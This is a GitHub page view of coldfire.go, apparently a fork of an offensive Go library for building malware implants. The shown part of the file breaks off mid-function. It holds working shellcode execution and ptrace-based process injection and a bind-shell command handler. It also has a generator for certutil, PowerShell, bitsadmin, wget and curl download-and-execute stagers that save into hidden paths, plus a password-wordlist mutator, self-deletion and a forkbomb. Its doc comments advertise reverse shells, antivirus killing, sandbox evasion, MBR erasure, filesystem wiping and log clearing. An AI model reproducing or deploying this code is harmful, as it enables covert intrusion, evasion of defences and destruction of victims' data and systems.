forked from redcode-labs/Coldfire
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcoldfire.go
1911 lines (1695 loc) · 51.8 KB
/
coldfire.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
package coldfire
/*
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#if defined(__x86_64)
#define REG_IP_NAME "rip"
#define REG_IP_TYPE unsigned long
#define REG_IP_FMT "lu"
#define REG_IP_HEX "lx"
#define REG_IP_VALUE(r) ((r).rip)
#elif defined(__i386)
#define REG_IP_NAME "eip"
#define REG_IP_TYPE unsigned long
#define REG_IP_FMT "lu"
#define REG_IP_HEX "lx"
#define REG_IP_VALUE(r) ((r).eip)
#endif
void sc_run(char *shellcode, size_t sclen) {
void *ptr = mmap(0, sclen, PROT_EXEC|PROT_WRITE|PROT_READ, MAP_ANON|MAP_PRIVATE, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sclen);
(*(void(*) ()) ptr)();
}
void sc_inject(char *shellcode, size_t sclen, pid_t pid) {
struct user_regs_struct regs;
int result = ptrace(PTRACE_ATTACH, pid, NULL, NULL);
if (result < 0) { exit(1); }
wait(NULL);
result = ptrace(PTRACE_GETREGS, pid, NULL, ®s);
if (result < 0) { exit(1); }
int i;
uint32_t *s = (uint32_t *) shellcode;
uint32_t *d = (uint32_t *) REG_IP_VALUE(regs);
for (i=0; i < sclen; i+=4, s++, d++) {
result = ptrace(PTRACE_POKETEXT, pid, d, *s);
if (result < 0) { exit(1); }
}
REG_IP_VALUE(regs) += 2;
}
*/
import "C"
import (
"unsafe"
"archive/zip"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"github.com/robfig/cron"
"golang.org/x/crypto/ssh"
//"tawesoft.co.uk/go/dialog"
"io/ioutil"
"github.com/anvie/port-scanner"
"crypto/md5"
"encoding/hex"
"encoding/base64"
"encoding/binary"
"bufio"
"io"
"errors"
"bytes"
"regexp"
"net/http"
"reflect"
"fmt"
"math/rand"
//"syscall"
"time"
"os/exec"
"runtime"
"github.com/matishsiao/goInfo"
"github.com/fatih/color"
"net"
"strings"
"os"
"strconv"
"github.com/minio/minio/pkg/disk"
humanize "github.com/dustin/go-humanize"
ps "github.com/mitchellh/go-ps"
//wapi "github.com/iamacarpet/go-win64api"
)
var red = color.New(color.FgRed).SprintFunc()
var green = color.New(color.FgGreen).SprintFunc()
var cyan = color.New(color.FgBlue).SprintFunc()
var bold = color.New(color.Bold).SprintFunc()
var yellow = color.New(color.FgYellow).SprintFunc()
/*
func f(s string, arg ...interface{}) string
Alias for fmt.Sprintf
func print_good(msg string)
Print good status message
func print_info(msg string)
Print info status message
func print_error(msg string)
Print error status message
func print_warning(msg string)
Print warning status message
func file_to_slice(file string) []string
Read from file and return slice with lines delimited with newline.
func contains(s interface{}, elem interface{}) bool
Check if interface type contains another interface type.
func str_to_int(string_integer string) int
Convert string to int.
func int_to_str(i int) string
Converts int to string.
func interval_to_seconds(interval string) int
Converts given time interval to seconds.
func random_int(min int, max int) int
Returns a random int from range.
func random_select_str(list []string) string
Returns a random selection from slice of strings.
func random_select_int(list []int) int
Returns a random selection from slice of ints.
func random_select_str_nested(list [][]string) []string
Returns a random selection from nested string slice.
func remove_newlines(s string) string
Removes "\n" and "\r" characters from string.
func full_remove(str string, to_remove string) string
Removes all occurences of substring.
func remove_duplicates_str(slice []string) []string
Removes duplicates from string slice.
func remove_duplicates_int(slice []int) []int
Removes duplicates from int slice.
func contains_any(str string, elements []string) bool
Returns true if slice contains a string.
func random_string(n int) string
Generates random string of length [n]
func exit_on_error(e error)
Handle errors
func ip_local() string
Returns a local IP address of the machine.
func ip_global() string
Returns a global IP address of the machine.
func iface() string, string
Returns name of currently used wireless interface and it's MAC address.
func ifaces() []string
Returns slice containing names of all local interfaces.
func info() map[string]string
Returns basic system information.
Possible fields: username, hostname, go_os, os,
platform, cpu_num, kernel, core, local_ip, ap_ip, global_ip, mac.
If the field cannot be resolved, it defaults to "N/A" value.
func md5_hash(str string) string
Returns MD5 checksum of a string
func make_zip(zip_file string, files []string) error
Creates a zip archive from a list of files
func read_file(filename string) (string, error)
Read contents of a file.
func write_file(filename string) error
Write contents to a file.
func b64d(str string) string
Returns a base64 decoded string
func b64e(str string) string
Returns a base64 encoded string
func wait(interval string)
Does nothing for a given interval of time.
func forkbomb()
Runs a forkbomb.
func remove()
Removes binary from the host.
func file_exists(file string) bool
Check if file exists.
func is_root() bool
Check if user has administrative privilleges.
func cmd_out(command string) string, error
Execute a command and return it's output.
func cmd_out_platform(commands map[string]string) (string, error)
Executes commands in platform-aware mode.
For example, passing {"windows":"dir", "linux":"ls"} will execute different command,
based on platform the implant was launched on.
func cmd_run(command string)
Unlike cmd_out(), cmd_run does not return anything, and prints output and error to STDOUT.
func cmd_dir(dirs_cmd map[string]string) ([]string, error)
Executes commands in directory-aware mode.
For example, passing {"/etc" : "ls"} will execute command "ls" under /etc directory.
func cmd_blind(command string)
Run command without supervision, do not print any output.
func sandbox_filepath() bool
Detect sandbox by looking for common sandbox filepaths.
Compatible only with windows.
func sandbox_proc() bool
Detect sandbox by looking for common sandbox processes.
func sandbox_sleep() bool
Detect sandbox by looking for sleep-accelleration mechanism.
func sandbox_disk(size int) bool
Detect sandbox by looking for abnormally small disk size.
func sandbox_cpu(cores int) bool
Detect sandbox by looking for abnormally small number of cpu cores.
func sandbox_ram(ram_mb int) bool
Detect sandbox by looking for abnormally small amount of RAM.
func sandbox_mac() bool
Detect sandbox by looking for sandbox-specific MAC address of the localhost.
func sandbox_utc() bool
Detect sandbox by looking for properly set UTC time zone.
func sandbox_all() bool
Detect sandbox using all sandbox detection methods.
Returns true if any sandbox-detection method returns true.
func sandbox_all_n(num int) bool
Detect sandbox using all sandbox detection methods.
Returns true if at least <num> detection methods return true.
func shutdown() error
Reboot the machine.
func set_ttl(interval string)
Set time-to-live of the binary.
Should be launched as goroutine.
func bind(port int)
Run a bind shell on a given port.
func reverse(host string, port int)
Run a reverse shell.
func pkill_pid(pid int) error
Kill process by PID.
func pkill_name(name string) errror
Kill all processes that contain [name].
func pkill_av() err
Kill most common AV processes.
func processes() (map[int]string, error)
Returns all processes' PIDs and their corresponding names.
func send_data_tcp(host string, port int, data string) error
Sends string to a remote host using TCP protocol.
func send_data_udp(host string, port int, data string) error
Sends string to a remote host using UDP protocol.
func portscan(target string, timeout, threads int) []int
Returns list of open ports on target.
func portscan_single(target string, port int) bool
Returns true if selected port is open.
func banner_grab(target string, port int) (string, error)
Grabs a service banner string from a given port.
func file_permissions(filename string) (bool,bool)
Checks if file has read and write permissions.
func download(url string) error
Downloads a file from url and save it under the same name.
func parse_cidr(cidr string) ([]string, error)
Returns a slice containing all possible IP addresses in the given range.
func users() []string, err
Returns list of known users.
func networks() ([]string, error)
Returns list of nearby wireless networks.
func erase_mbr(device string, partition_table bool) error
Erases MBR sector of a device.
If <partition_table> is true, erases also partition table.
func clear_logs() err
Clears most system logs.
func hosts_passive(interval string) []string, err
Passively discovers active hosts on a network using ARP monitoring.
Discovery time can be changed using <interval> argument.
func wipe() err
Wipes out entire filesystem.
func create_user(username, password string) error
Creates a new user on the system.
func disks() ([]string, error)
Lists local storage devices
func wifi_disconnect() error
Disconnects from wireless access point
func dns_lookup(hostname string) ([]string, error)
Performs DNS lookup
func rdns_lookup(ip string) ([]string, error)
Performs reverse DNS lookup
*/
func _start_http_server() {
}
func _generate_stager(stager_name, name, platform, url, random_filename string) string{
stagers := [][]string{}
stager := []string{}
paths := []string{}
windows_stagers := [][]string{
[]string{"certutil", `certutil.exe -urlcache -split -f URL/RANDOM_FILENAME && certutil -decode SAVE_PATH/RANDOM_FILENAME SAVE_PATH/RANDOM_FILENAME && SAVE_PATH\RANDOM_FILENAME`},
[]string{"powershell", `Invoke-WebRequest URL/RANDOM_FILENAME -O SAVE_PATH\RANDOM_FILENAME && certutil -decode SAVE_PATH/RANDOM_FILENAME SAVE_PATH/RANDOM_FILENAME && SAVE_PATH\RANDOM_FILENAME`},
[]string{"bitsadmin", `bitsadmin /transfer update /priority high URL/RANDOM_FILENAME SAVE_PATH\RANDOM_FILENAME && certutil -decode SAVE_PATH/RANDOM_FILENAME SAVE_PATH/RANDOM_FILENAME && SAVE_PATH\RANDOM_FILENAME`},
}
linux_stagers := [][]string{
[]string{"wget", `wget -O SAVE_PATH/RANDOM_FILENAME URL/RANDOM_FILENAME; chmod +x SAVE_PATH/RANDOM_FILENAME; SAVE_PATH./RANDOM_FILENAME`},
[]string{"curl", `curl URL/RANDOM_FILENAME > SAVE_PATH/RANDOM_FILENAME; chmod +x SAVE_PATH/RANDOM_FILENAME; SAVE_PATH./RANDOM_FILENAME`},
}
linux_save_paths := []string{"/tmp/", "/lib/", "/home/",
"/etc/", "/usr/", "/usr/share/"} //"$(pwd)/", "$(mktemp -d)"}
windows_save_paths := []string{`C:\$recycle.bin\` ,`C:\ProgramData\MicrosoftHelp\`}
/*if path != "random"{
windows_save_paths = strings.Split(path, "")
linux_save_paths = strings.Split(path, "")
}*/
switch platform{
case "windows":
stagers = windows_stagers
paths = windows_save_paths
case "linux":
stagers = linux_stagers
paths = linux_save_paths
}
if stager_name == "random"{
stager = random_select_str_nested(stagers)
} else {
for s := range(stagers){
st := stagers[s]
if st[0] == stager_name{
stager = st
}
}
}
//selected_stager_name := stager[0]
selected_stager_command := stager[1]
pth := random_select_str(paths)
selected_stager_command = strings.Replace(selected_stager_command, "URL", url, -1)
selected_stager_command = strings.Replace(selected_stager_command, "RANDOM_FILENAME", random_filename, -1)
selected_stager_command = strings.Replace(selected_stager_command, "SAVE_PATH", pth, -1)
return selected_stager_command
/*if platform == "windows"{
save_path = random_select_str(windows_save_paths)+random_filename+".exe"
cmd = fmt.Sprintf("certuril.exe -urlcache -split -f %s\\%s %s; %s", url,//FUNC_GET_LOCAL_IP(),
random_filename,
save_path, save_path)
} else {
save_path = random_select_str(unix_save_paths)+random_filename
cmd = fmt.Sprintf("wget -O %s %s/%s; chmod +x %s; ./%s", save_path,
url, random_filename,
save_path, save_path)
}
return cmd*/
}
func _revert(s string) string {
r := []rune(s)
for i, j := 0, len(r)-1; i < len(r)/2; i, j = i+1, j-1 {
r[i], r[j] = r[j], r[i]
}
return string(r)
}
func _ip_increment(ip net.IP) {
for j := len(ip) - 1; j >= 0; j-- {
ip[j]++
if ip[j] > 0 {
break
}
}
}
func _kill_proc_by_pid(pid int) error {
cmd := ""
p := strconv.Itoa(pid)
switch runtime.GOOS{
case "windows":
cmd = "taskkill /F /PID "+p
case "linux":
cmd = "kill -9 "+p
default:
cmd = "kill "+p
}
_, err := cmd_out(cmd)
return err
}
func _handle_bind(conn net.Conn){
for {
buffer := make([]byte, 1024)
length, _ := conn.Read(buffer)
command := string(buffer[:length-1])
out, _ := cmd_out(command)
/*parts := strings.Fields(command)
head := parts[0]
parts = parts[1:len(parts)]
out, _ := exec.Command(head,parts...).Output()*/
conn.Write([]byte(out))
}
conn.Close()
}
func _handle_reverse(conn net.Conn){
message, _ := bufio.NewReader(conn).ReadString('\n')
out, err := exec.Command(strings.TrimSuffix(message, "\n")).Output()
if err != nil {
fmt.Fprintf(conn, "%s\n", err)
}
fmt.Fprintf(conn, "%s\n",out)
}
/*func _check_lifetime(){
for {
time.Sleep(LIFETIME_CHECK*time.Second)
chuj_ci_w_morde := time.Now()
f, _ := dateparse.ParseFormat("FINAL_LIFETIME")
cwelu_jebany, _ := time.Parse(f, "FINAL_LIFETIME")
if LIFETIME_EXEC == 1 {
VAR_TTL_XXX := VAR_TIME_TO_DEL_XXX.String()
format, _ := dateparse.ParseFormat(VAR_TTL_XXX)
cwelu_jebany, _ = time.Parse(format, VAR_TTL_XXX)
}
if chuj_ci_w_morde.After(cwelu_jebany){
FUNC_SELF_DELETE()
}
}
}*/
func _get_ntp_time() time.Time{
type ntp struct {FirstByte,A,B,C uint8;D,E,F uint32;G,H uint64;ReceiveTime uint64;J uint64}
sock,_ := net.Dial("udp", "us.pool.ntp.org:123");
sock.SetDeadline(time.Now().Add((2*time.Second)))
defer sock.Close()
transmit := new(ntp)
transmit.FirstByte=0x1b
binary.Write(sock, binary.BigEndian, transmit)
binary.Read(sock, binary.BigEndian, transmit)
return time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC).Add(time.Duration(((transmit.ReceiveTime >> 32)*1000000000)))
}
func _sleep(seconds int, endSignal chan<- bool) {
time.Sleep(time.Duration(seconds) * time.Second)
endSignal <- true
}
func f(str string, arg ...interface{}) string {
return fmt.Sprintf(str, arg...)
}
func print_good(msg string){
dt := time.Now()
t := dt.Format("15:04")
fmt.Printf("[%s] %s :: %s ", green(t), green(bold("[+]")), msg)
}
func print_info(msg string){
dt := time.Now()
t := dt.Format("15:04")
fmt.Printf("[%s] [*] :: %s",t, msg)
}
func print_error(msg string){
dt := time.Now()
t := dt.Format("15:04")
fmt.Printf("[%s] %s :: %s ", red(t), red(bold("[x]")), msg)
}
func print_warning(msg string){
dt := time.Now()
t := dt.Format("15:04")
fmt.Printf("[%s] %s :: %s ", yellow(t), yellow(bold("[!]")), msg)
}
func file_to_slice(file string) []string{
fil, _:= os.Open(file)
defer fil.Close()
var lines []string
scanner := bufio.NewScanner(fil)
for scanner.Scan() {
lines = append(lines, scanner.Text())
}
return lines
}
func contains(s interface{}, elem interface{}) bool {
arrV := reflect.ValueOf(s)
if arrV.Kind() == reflect.Slice {
for i := 0; i < arrV.Len(); i++ {
if arrV.Index(i).Interface() == elem {
return true
}
}
}
return false
}
func str_to_int(string_integer string) int {
//i, _ := strconv.ParseInt(string_integer, 10, 32)
i, _ := strconv.Atoi(string_integer)
return i
}
func str_to_words(s string) []string {
words := []string{}
gr := strings.Split(s, " ")
for x := range(gr){
z := gr[x]
if len(z) != 0{
words = append(words, z)
}
}
return words
}
func int_to_str(i int) string {
return strconv.Itoa(i)
}
func size_to_bytes(size string) int {
period_letter := string(size[len(size)-1])
intr := string(size[:len(size)-1])
i, _ := strconv.Atoi(intr)
switch period_letter{
case "g":
return i*1024*1024*1024
case "m":
return i*1024*1024
case "k":
return i*1024
}
return i
}
func alloc(size string) {
_ = make([]byte, size_to_bytes(size))
}
func interval_to_seconds(interval string) int {
period_letter := string(interval[len(interval)-1])
intr := string(interval[:len(interval)-1])
i, _ := strconv.Atoi(intr)
switch period_letter{
case "s":
return i
case "m":
return i*60
case "h":
return i*3600
}
return i
}
func gen_cpu_load(cores int, interval string, percentage int) {
runtime.GOMAXPROCS(cores)
unitHundresOfMicrosecond := 1000
runMicrosecond := unitHundresOfMicrosecond * percentage
//sleepMicrosecond := unitHundresOfMicrosecond*100 - runMicrosecond
for i := 0; i < cores; i++ {
go func() {
runtime.LockOSThread()
for {
begin := time.Now()
for {
if time.Now().Sub(begin) > time.Duration(runMicrosecond)*time.Microsecond {
break
}
}
}
}()
}
t, _ := time.ParseDuration(interval)
time.Sleep(t * time.Second)
}
func random_int(min int, max int) int{
rand.Seed(time.Now().UnixNano())
return rand.Intn(max - min) + min
}
func random_select_str(list []string) string {
rand.Seed(time.Now().UnixNano())
return list[rand.Intn(len(list))]
}
func random_select_str_nested(list [][]string) []string {
rand.Seed(time.Now().UnixNano())
return list[rand.Intn(len(list))]
}
func random_select_int(list []int) int {
rand.Seed(time.Now().UnixNano())
return list[rand.Intn(len(list))]
}
func remove_newlines(s string) string {
re := regexp.MustCompile(`\r?\n`)
s = re.ReplaceAllString(s, " ")
return s
}
func full_remove(str string, to_remove string) string {
return strings.Replace(str, to_remove, "", -1 )
}
func remove_duplicates_str(slice []string) []string {
keys := make(map[string]bool)
list := []string{}
for _, entry := range slice {
if _, value := keys[entry]; !value {
keys[entry] = true
list = append(list, entry)
}
}
return list
}
func remove_duplicates_int(slice []int) []int {
keys := make(map[int]bool)
list := []int{}
for _, entry := range slice {
if _, value := keys[entry]; !value {
keys[entry] = true
list = append(list, entry)
}
}
return list
}
func contains_any(str string, elements []string) bool {
for element := range elements{
e := elements[element]
if strings.Contains(str, e){
return true
}
}
return false
}
func random_string(n int) string{
rand.Seed(time.Now().UnixNano())
var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
b := make([]rune, n)
for i := range b {
b[i] = letters[rand.Intn(len(letters))]
}
return string(b)
}
func exit_on_error(e error){
if e != nil{
print_error(e.Error())
os.Exit(0)
}
}
func shellcode_run(shellcode []byte) error {
switch runtime.GOOS{
case "windows":
return errors.New("syscall module works like shit - we will try to implement Windows shellcode runner differently")
/*kernel32 := syscall.NewLazyDLL("kernel32.dll")
ntdll := syscall.NewLazyDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
RtlMoveMemory := ntdll.NewProc("RtlMoveMemory")
const MEM_COMMIT = 0x1000
const MEM_RESERVE = 0x2000
const PAGE_EXECUTE_READWRITE = 0x40
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil {
return err
}
RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
syscall.Syscall(addr, 0, 0, 0, 0)*/
default:
C.sc_run((*C.char)(unsafe.Pointer(&shellcode[0])), (C.size_t)(len(shellcode)))
}
return nil
}
func shellcode_inject(shellcode []byte, pid int) error {
switch runtime.GOOS{
case "windows":
return errors.New("syscall module works like shit - we will try to implement Windows shellcode injector differently")
/*kernel32 := syscall.NewLazyDLL("kernel32.dll")
OpenProcess := kernel32.NewProc("OpenProcess")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
CreateRemoteThread := kernel32.NewProc("CreateRemoteThread")
const PROCESS_ALL_ACCESS = syscall.STANDARD_RIGHTS_REQUIRED | syscall.SYNCHRONIZE | 0xfff
const MEM_COMMIT = 0x1000
const MEM_RESERVE = 0x2000
const PAGE_EXECUTE_READWRITE = 0x40
proc_handle, _, err := OpenProcess.Call(PROCESS_ALL_ACCESS, 0, uintptr(pid))
if err != nil {
return err
}
remote_buf, _, err := VirtualAllocEx.Call(proc_handle, 0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil {
return err
}
WriteProcessMemory.Call(proc_handle, remote_buf, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
CreateRemoteThread.Call(proc_handle, 0, 0, remote_buf, 0, 0, 0)*/
default:
C.sc_inject((*C.char)(unsafe.Pointer(&shellcode[0])), (C.size_t)(len(shellcode)), (C.pid_t)(pid))
}
return nil
}
func ip_local() string {
conn, _ := net.Dial("udp", "8.8.8.8:80")
defer conn.Close()
ip := conn.LocalAddr().(*net.UDPAddr).IP
return fmt.Sprintf("%d.%d.%d.%d", ip[0], ip[1], ip[2], ip[3])
}
func ip_global() string {
ip := ""
resolvers := []string{"https://api.ipify.org?format=text",
"http://myexternalip.com/raw",
"http://ident.me",}
for {
url := random_select_str(resolvers)
resp, _ := http.Get(url)
/*if err != nil{
print_warning(err.Error())
}*/
defer resp.Body.Close()
i, _ := ioutil.ReadAll(resp.Body)
ip = string(i)
if resp.StatusCode == 200{
break
}
}
return ip
}
func iface() (string,string) {
addrs, err := net.InterfaceAddrs()
_ = addrs
exit_on_error(err)
current_iface := ""
interfaces, _ := net.Interfaces()
for _, interf := range interfaces {
if addrs, err := interf.Addrs(); err == nil {
for _, addr := range addrs {
if strings.Contains(addr.String(), ip_local()) {
current_iface = interf.Name
}
}
}
}
netInterface, err := net.InterfaceByName(current_iface)
exit_on_error(err)
name := netInterface.Name
macAddress := netInterface.HardwareAddr
hwAddr, err := net.ParseMAC(macAddress.String())
exit_on_error(err)
return name, hwAddr.String()
}
func ifaces() []string {
ifs := []string{}
interfaces, _ := net.Interfaces()
for _, interf := range(interfaces){
ifs = append(ifs, interf.Name)
}
return ifs
}
func info() map[string]string {
_, mac := iface()
u := ""
ap_ip := ""
i := goInfo.GetInfo()
switch runtime.GOOS{
case "windows":
user, err := cmd_out("query user")
if err != nil {
user = "N/A"
}
u = user
o, err := cmd_out("ipconfig")
if err != nil {
ap_ip = "N/A"
}
entries := strings.Split(o,"\n")
for e := range(entries){
entry := entries[e]
if strings.Contains(entry, "Default"){
ap_ip = strings.Split(entry, ":")[1]
}
}
default:
user, err := cmd_out("whoami")
if err != nil {
user = "N/A"
}
u = user
o, err := cmd_out("ip r")
if err != nil {
ap_ip = "N/A"
}
entries := strings.Split(o,"\n")
for e := range(entries){
entry := entries[e]
if strings.Contains(entry, "default via"){
ap_ip = strings.Split(o, "")[2]
}
}
}
inf := map[string]string{
"username" : u,
"hostname" : fmt.Sprintf("%v", i.Hostname),
"go_os" : fmt.Sprintf("%v", i.GoOS),
"os" : fmt.Sprintf("%v", i.OS),
"platform" : fmt.Sprintf("%v", i.Platform),
"cpu_num" : fmt.Sprintf("%v", i.CPUs),
"kernel" : fmt.Sprintf("%v", i.Kernel),
"core" : fmt.Sprintf("%v", i.Core),
"local_ip" : ip_local(),
"global_ip" : ip_global(),
"ap_ip" : ap_ip,
"mac" : mac,
}
return inf
}
func md5_hash(str string) string {
hasher := md5.New()
hasher.Write([]byte(str))
return hex.EncodeToString(hasher.Sum(nil))
}
func create_wordlist(words []string) []string {
wordlist := []string{}
for w := range(words){
word := words[w]
first_to_upper := strings.ToUpper(string(word[0]))+string(word[1:])
wordlist = append(wordlist, strings.ToUpper(word))
wordlist = append(wordlist, _revert(word))
wordlist = append(wordlist, first_to_upper)
wordlist = append(wordlist, first_to_upper+"1")
wordlist = append(wordlist, first_to_upper+"12")
wordlist = append(wordlist, first_to_upper+"123")
wordlist = append(wordlist, word+"1")
wordlist = append(wordlist, word+"12")
wordlist = append(wordlist, word+"123")
}
return wordlist
}
func read_file(filename string) (string, error) {
fil, err := os.Open(filename)
defer fil.Close()
b, err := ioutil.ReadAll(fil)
if err != nil {
return "", err
}
return string(b), nil
}
func write_file(filename, data string) error {
file, err := os.Create(filename)
if err != nil {
return err
}
defer file.Close()
_, err = io.WriteString(file, data)
if err != nil {
return err
}
return nil
}
func files_pattern(directory, pattern string) (map[string]string, error) {
out_map := map[string]string{}
files, err := ioutil.ReadDir(directory)
if err != nil {
return nil, err
}
for _, f := range(files){
fl, err := read_file(f.Name())
if err != nil{
return nil, err
}
if strings.Contains(fl, pattern){
out_map[f.Name()], err = read_file(f.Name())
if err != nil{
return nil, err
}
}
}
return out_map, nil
}
func b64d(str string) string {
raw, _ := base64.StdEncoding.DecodeString(str)
return fmt.Sprintf("%s", raw)
}
func b64e(str string) string {
return base64.StdEncoding.EncodeToString([]byte(str))
}
func wait(interval string){
period_letter := string(interval[len(interval)-1])
intr := string(interval[:len(interval)-1])
i, _ := strconv.ParseInt(intr, 10, 64)
var x int64
switch period_letter{
case "s":
x = i
case "m":
x = i*60
case "h":
x = i*3600
}
time.Sleep(time.Duration(x)*time.Second)
}
/*func file_info(file string) map[string]string {
inf, err := os.Stat(file)
return map[string]string{
}
}*/
func forkbomb(){
go forkbomb()
}
func remove(){
os.Remove(os.Args[0])
}
func file_exists(file string) bool {
_, err := os.Stat(file)
if err != nil{
if os.IsNotExist(err){
return false
}
}
return true